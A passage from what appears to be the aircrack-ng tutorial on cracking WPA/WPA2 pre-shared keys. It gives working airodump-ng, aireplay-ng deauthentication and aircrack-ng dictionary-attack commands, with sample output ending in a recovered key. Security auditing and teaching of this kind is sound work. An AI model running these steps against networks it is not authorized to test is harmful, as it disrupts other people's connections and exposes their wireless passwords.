Step 2 - Start airodump-ng to collect authentication handshake

The purpose of this step is to run airodump-ng to capture the 4-way authentication handshake for the AP we are interested in.

Enter:



airodump-ng -c 9 --bssid 00:14:6C:7E:40:80 -w psk ath0

Where:
-c 9 is the channel for the wireless network
--bssid 00:14:6C:7E:40:80 is the access point MAC address. This eliminates extraneous traffic.
-w psk is the file name prefix for the file which will contain the IVs.
ath0 is the interface name.
Important: Do NOT use the "--ivs" option. You must capture the full packets.

Here what it looks like if a wireless client is connected to the network:



CH 9 ][ Elapsed: 4 s ][ 2007-03-24 16:58 ][ WPA handshake: 00:14:6C:7E:40:80



BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID



00:14:6C:7E:40:80 39 100 51 116 14 9 54 WPA2 CCMP PSK teddy



BSSID STATION PWR Lost Packets Probes



00:14:6C:7E:40:80 00:0F:B5:FD:FB:C2 35 0 116

In the screen above, notice the "WPA handshake: 00:14:6C:7E:40:80" in the top right-hand corner. This means airodump-ng has successfully captured the four-way handshake.

Here it is with no connected wireless clients:



CH 9 ][ Elapsed: 4 s ][ 2007-03-24 17:51



BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID



00:14:6C:7E:40:80 39 100 51 0 0 9 54 WPA2 CCMP PSK teddy



BSSID STATION PWR Lost Packets Probes

Troubleshooting Tip
See the Troubleshooting Tips section below for ideas.

To see if you captured any handshake packets, there are two ways. Watch the airodump-ng screen for " WPA handshake: 00:14:6C:7E:40:80" in the top right-hand corner. This means a four-way handshake was successfully captured. See just above for an example screenshot.

Use Wireshark and apply a filter of "eapol". This displays only eapol packets you are interested in. Thus you can see if capture contains 0,1,2,3 or 4 eapol packets.



Step 3 - Use aireplay-ng to deauthenticate the wireless client

This step is optional. If you are patient, you can wait until airodump-ng captures a handshake when one or more clients connect to the AP. You only perform this step if you opted to actively speed up the process. The other constraint is that there must be a wireless client currently associated with the AP. If there is no wireless client currently associated with the AP, then you have to be patient and wait for one to connect to the AP so that a handshake can be captured. Needless to say, if a wireless client shows up later and airodump-ng did not capture the handshake, you can backtrack and perform this step.

This step sends a message to the wireless client saying that that it is no longer associated with the AP. The wireless client will then hopefully reauthenticate with the AP. The reauthentication is what generates the 4-way authentication handshake we are interested in collecting. This is what we use to break the WPA/WPA2 pre-shared key.

Based on the output of airodump-ng in the previous step, you determine a client which is currently connected. You need the MAC address for the following. Open another console session and enter:



aireplay-ng -0 1 -a 00:14:6C:7E:40:80 -c 00:0F:B5:FD:FB:C2 ath0

Where:
-0 means deauthentication
1 is the number of deauths to send (you can send multiple if you wish)
-a 00:14:6C:7E:40:80 is the MAC address of the access point
-c 00:0F:B5:FD:FB:C2 is the MAC address of the client you are deauthing
ath0 is the interface name
Here is what the output looks like:



11:09:28 Sending DeAuth to station -- STMAC: [00:0F:B5:34:30:30]

With luck this causes the client to reauthenticate and yield the 4-way handshake.


Troubleshooting Tips

 The deauthentication packets are sent directly from your PC to the clients. So you must be physically close enough to the clients for your wireless card transmissions to reach them. To confirm the client received the deauthentication packets, use tcpdump or similar to look for ACK packets back from the client. If you did not get an ACK packet back, then the client did not "hear" the deauthentication packet.


Step 4 - Run aircrack-ng to crack the pre-shared key

The purpose of this step is to actually crack the WPA/WPA2 pre-shared key. To do this, you need a dictionary of words as input. Basically, aircrack-ng takes each word and tests to see if this is in fact the pre-shared key.

There is a small dictionary that comes with aircrack-ng - "password.lst". This file can be found in the "test" directory of the aircrack-ng source code. The Wiki FAQ has an extensive list of dictionary sources. You can use John the Ripper (JTR) to generate your own list and pipe them into aircrack-ng. Using JTR in conjunction with aircrack-ng is beyond the scope of this tutorial.

Open another console session and enter:



aircrack-ng -w password.lst -b 00:14:6C:7E:40:80 psk*.cap

Where:
-w password.lst is the name of the dictionary file. Remember to specify the full path if the file is not located in the same directory.
*.cap is name of group of files containing the captured packets. Notice in this case that we used the wildcard * to include multiple files.
Here is typical output when there are no handshakes found:



Opening psk-01.cap

Opening psk-02.cap

Opening psk-03.cap

Opening psk-04.cap

Read 1827 packets.

No valid WPA handshakes found.

When this happens you either have to redo step 3 (deauthenticating the wireless client) or wait longer if you are using the passive approach. When using the passive approach, you have to wait until a wireless client authenticates to the AP.

Here is typical output when handshakes are found:



Opening psk-01.cap

Opening psk-02.cap

Opening psk-03.cap

Opening psk-04.cap

Read 1827 packets.



# BSSID ESSID Encryption

1 00:14:6C:7E:40:80 teddy WPA (1 handshake)



Choosing first network as target.

Now at this point, aircrack-ng will start attempting to crack the pre-shared key. Depending on the speed of your CPU and the size of the dictionary, this could take a long time, even days.

Here is what successfully cracking the pre-shared key looks like:



Aircrack-ng 0.8





[00:00:00] 2 keys tested (37.20 k/s)





KEY FOUND! [ 12345678 ]





Master Key : CD 69 0D 11 8E AC AA C5 C5 EC BB 59 85 7D 49 3E

B8 A6 13 C5 4A 72 82 38 ED C3 7E 2C 59 5E AB FD



Transcient Key : 06 F8 BB F3 B1 55 AE EE 1F 66 AE 51 1F F8 12 98

CE 8A 9D A0 FC ED A6 DE 70 84 BA 90 83 7E CD 40

FF 1D 41 E1 65 17 93 0E 64 32 BF 25 50 D5 4A 5E

2B 20 90 8C EA 32 15 A6 26 62 93 27 66 66 E0 71



EAPOL HMAC : 4E 27 D9 5B 00 91 53 57 88 9C 66 C8 B1 29 D1 CB